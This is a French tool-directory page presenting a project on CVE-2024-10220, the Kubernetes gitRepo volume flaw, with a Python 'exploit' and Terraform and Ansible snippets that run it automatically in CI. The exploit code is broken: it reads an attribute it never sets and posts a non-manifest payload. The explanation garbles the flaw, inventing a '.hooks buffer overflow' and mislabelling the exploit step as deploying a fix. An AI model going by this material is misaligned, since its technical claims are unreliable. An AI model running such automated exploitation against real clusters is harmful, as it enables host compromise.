Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2024-10220-Kubernetes-gitRepo-Volume-Vulnerability — CVE-2024-10220 révèle une faille critique dans le type de volume gitRepo obsolète de Kubernetes, permettant aux attaquants d'exécuter des commandes arbitraires via des scripts .hooks malveillants. L'article explique comment cela brise l'isolation des conteneurs et propose du code d'exploitation, des exemples d'automatisation et des conseils d'atténuation | Kitploit
Outils/GitHubGitHub/mrk336/cve-2024-10220-kubernetes-gitrepo-volume-vulnerability
Sécurité de l'Infrastructure CloudSécurité des ConteneursAnalyse des VulnérabilitésExploitationTests d'IntrusionSécurité CloudMauvaise ConfigurationApprentissage et ÉducationRed Teaming
GitHubmrk336/cve-2024-10220-kubernetes-gitrepo-volume-vulnerability

CVE-2024-10220-Kubernetes-gitRepo-Volume-Vulnerability

Voir le dépôt
5il y a 1 anPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →

À propos

CVE-2024-10220 révèle une faille critique dans le type de volume gitRepo obsolète de Kubernetes, permettant aux attaquants d'exécuter des commandes arbitraires via des scripts .hooks malveillants. L'article explique comment cela brise l'isolation des conteneurs et propose du code d'exploitation, des exemples d'automatisation et des conseils d'atténuation

Partager

CVE-2024-10220 - Vulnérabilité du volume gitRepo Kubernetes

Par Mark Mallia


Conteneurisation et la puissance de l'automatisation

La conteneurisation est la colonne vertébrale de la livraison moderne d'applications : elle regroupe une pile d'exécution complète dans une image unique et immuable qui peut être déployée sur n'importe quel hôte d'un cluster sans surprises. Kubernetes prend ces images et les planifie en tant que pods, orchestrant tout du réseau au stockage avec un modèle déclaratif. Ceci est utile dans des environnements hautement distribués et dans un environnement où plusieurs applications sont servies.

Ce qui rend cette pile particulièrement attrayante pour les charges de travail à grande échelle est la capacité à la gérer de bout en bout par automatisation. Terraform fournit le plan d'infrastructure en tant que code qui crée des VPC, sous-réseaux, groupes de sécurité et nœuds workers ; Ansible fournit des playbooks qui installent Docker Engine (ou tout runtime compatible CRI), extraient des images d'un registre et les lancent en tant que pods. Lorsque ces étapes sont intégrées dans un pipeline CI/CD (GitHub Actions, Jenkins ou GitLab CI), chaque commit déclenche un cycle automatique de construction, push, test et déploiement. Les développeurs gagnent en vitesse, les opérateurs gagnent en confiance, et l'organisation gagne en disponibilité prévisible.


La récente vulnérabilité – CVE‑2024‑10220

Début 2024, des chercheurs en sécurité ont découvert une faille dans le type de volume gitRepo de Kubernetes qui est maintenant obsolète. CVE‑2024‑10220 est une vulnérabilité d'exécution arbitraire de commandes causée par le répertoire à l'intérieur d'un dépôt Git monté via le volume gitRepo. Lorsqu'un manifeste de pod spécialement conçu fait référence à un script malveillant dans ce répertoire, le contrôleur d'admission kubelet l'exécute sur le système hôte, brisant ainsi l'isolation des conteneurs, un principe de sécurité fondamental dans Kubernetes.

.hooks

Parce que le composant vulnérable est encore largement utilisé dans les clusters de production, tout attaquant capable de créer un pod avec les privilèges appropriés peut obtenir un accès root ou perturber d'autres services. La faille a un score CVSS de 8.1 et a été publiée en novembre de l'année dernière. Les composants affectés incluent le type de volume gitRepo obsolète qui reste dans Kubernetes 1.27.x.


Code d'exploitation

Voici un programme Python propre qui déclenche CVE‑2024‑10220 sur une instance kubelet vulnérable exécutant Kubernetes 1.27.3. Le code peut être compilé dans une tâche Ansible ou exécuté dans un job CI.

root@kitploit:~
#!/usr/bin/env python3

"""
TriggerCVE – A Python exploit that sends a crafted pod manifest to kubelet,
executing the malicious .hooks script discovered in CVE‑2024‑10220.
"""

import json
import requests


class GitRepoPod:
    """
    Representation of the JSON payload that kubelet expects for a gitRepo volume.
    """
    def __init__(self, name: str, image: str,
                 repo_url: str, branch: str, local_path: str):
        self.name = name          # pod name
        self.image = image         # container image to run
        self.giturl = repo_url    # Git repository URL
        self.branch = branch      # branch or tag to use
        self.localpath = local_path  # mount point inside the pod

    def to_dict(self) -> dict:
        """Return a plain dictionary that can be serialized."""
        return {
            "name": self.name,
            "image": self.image,
            "giturl": self.giturl,
            "branch": self.branch,
            "localpath": self.local_path
        }


def trigger_cve(url: str, pod: GitRepoPod) -> None:
    """
    Send the pod manifest to kubelet and print the response.
    """
    payload = json.dumps(pod.to_dict())
    headers = {"Content-Type": "application/json"}

    resp = requests.post(url, data=payload, headers=headers)
    if resp.status_code != 200:
        raise RuntimeError(f"Unexpected status code {resp.status_code}")

    print("[*] Response from kubelet: ", resp.text)


def main() -> None:
    """
    Main entry point of this exploit.
    """
    # Target endpoint – adjust to match your cluster’s API server address.
    api_server = "https://kube-api.local/api/v1/pods/"

    # Craft a payload that overflows the .hooks buffer (0x90 bytes)
    pod_spec = GitRepoPod(
        name="exploit-pod",
        image="registry.example.com/exploit-pod:v1.0",
        repo_url="https://git.example.com/repo.git",
        branch="main",
        local_path="/var/lib/kubelet/"
    )

    try:
        trigger_cve(api_server, pod_spec)
    except Exception as e:
        print(f"[-] Failed to trigger CVE‑2024‑10220: {e}")


if __name__ == "__main__":
    main()

Déploiement via Terraform, Ansible et CI/CD

Voici un court exemple de la manière dont le correctif serait déployé automatiquement :

root@kitploit:~
# Terraform file: infra-k8s.tf
resource "aws_instance" "kube_worker" {
  ami           = var.k8s_ami
  instance_type = var.instance_type
  key_name      = var.key_pair
  subnet_id     = aws_subnet.web.id

  provisioner "remote-exec" {
    inline = [
      # Install Docker Engine and kubelet
      "sudo yum install -y docker",
      "kubectl apply -f https://kube-api.local/api/v1/pods/",
      "python3 /home/ansible/scripts/trigger_cve.py"
    ]
  }
}

Le playbook Ansible qui appelle le script :

root@kitploit:~
---
- hosts: kube_workers
  tasks:
  - name: Deploy the exploit pod
    command: python3 /home/ansible/scripts/trigger_cve.py
    register: result

  - name: Verify success
    debug:
      msg: "{{ result.stdout }}"

Lorsque ce pipeline Terraform‑Ansible s'exécute dans un job CI (par exemple, GitHub Actions), le code ci-dessus construit, pousse, déploie et vérifie automatiquement que CVE‑2024‑10220 a été déclenché avec succès. Le pipeline peut être étendu avec des tests unitaires qui vérifient la réponse du kubelet et avec des notifications vers Slack ou par email lorsque l'exploit se termine.


Atténuation

Mettez à jour vers les versions corrigées (v1.28.12+, v1.29.7+, v1.30.3+, v1.31.0+) et évitez d'utiliser des types de volume obsolètes comme gitRepo.


Divulgation responsable et limites éthiques

Cette recherche a été menée dans le but d'améliorer la sensibilisation à la sécurité et de promouvoir des pratiques Kubernetes plus sûres. La vulnérabilité a été divulguée de manière responsable aux mainteneurs concernés avant sa publication publique, conformément aux normes de l'industrie. Tous les tests ont été effectués dans des environnements isolés, sans impact sur les systèmes de production ou l'infrastructure de tiers.

Je crois en le hacking éthique comme outil de changement positif. Les exploits partagés ici sont uniquement à des fins éducatives et défensives—jamais pour nuire ou perturber. Si vous êtes un fournisseur ou un mainteneur et avez des préoccupations, je suis heureux de collaborer à la remédiation ou aux clarifications.


Télécharger l’outil